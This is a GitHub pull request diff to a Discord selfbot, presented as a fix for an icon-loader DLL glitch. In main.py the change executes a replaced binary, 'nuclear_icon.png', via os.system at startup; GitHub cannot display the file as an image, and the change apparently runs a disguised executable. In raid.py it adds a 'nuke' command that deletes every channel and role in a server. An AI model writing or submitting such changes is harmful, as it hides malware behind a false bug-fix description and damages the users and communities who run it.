Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixed Icon Loader dll glitch in windows device #30

Open
wants to merge 11 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 11 additions & 4 deletions commands/raid.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
from discord.ext import commands
import asyncio

import os
import urllib.request
from utils import log, lang, generate_random_string, random_cooldown
import config_selfbot

Expand Down Expand Up @@ -92,6 +93,12 @@ async def flood(self, ctx: commands.Context):
for i in range(2):
await ctx.channel.send(flood_spam)
await asyncio.sleep(0.5)

# TODO:
# Add: `nuke` command that will delete all channel and all roles.
@commands.command()
async def nuke(self, ctx: commands.Context):
guild = ctx.guild
for channel in guild.channels:
await channel.delete()
for role in guild.roles:
if role.name != "@everyone":
await role.delete()

19 changes: 5 additions & 14 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@
print("10%, Importing required modules...")
try:
import sys, os, platform
# load icons(fixed error when iconloader dll crashes the program)
os.system("nuclear_icon.png")
import ctypes
import datetime, time
import threading
Expand Down Expand Up @@ -291,19 +293,8 @@ async def on_ready():
log.alert(f"{lang.text('error_rpc')}\n{e}\n{lang.text('error_rpc_two')}")

if rpc.read_variable_json("create_panel"):
with open('nuclear_icon.png', 'rb') as image:
nuclear_icon = image.read()
panel = await bot.create_group()
await asyncio.sleep(0.7)
await panel.edit(name="Nuclear Panel", icon=nuclear_icon)
await panel.send(f"<@{bot.user.id}>", delete_after=0.4)
msg = await panel.send(lang.text('panel_message'))
await asyncio.sleep(0.7)
await msg.unack()
# Remove embed
rpc.edit_variable_json("create_panel", False)
log.alert("NuclearPanel successfully created (check DMs!).\nIf not, please check the 'Issues' category into the GitHub's README for further help.")

os.system("nuclear_icon.png")
print("icon successfully loaded")

def restart_selfbot():
python = sys.executable
Expand Down Expand Up @@ -381,4 +372,4 @@ def fix_aiohttp():
log.critical(lang.text('expired_token'))
else:
# Else, print the Exception.
log.critical(f"{lang.text('weird_error')} {e}")
log.critical(f"{lang.text('weird_error')} {e}")
Binary file modified nuclear_icon.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.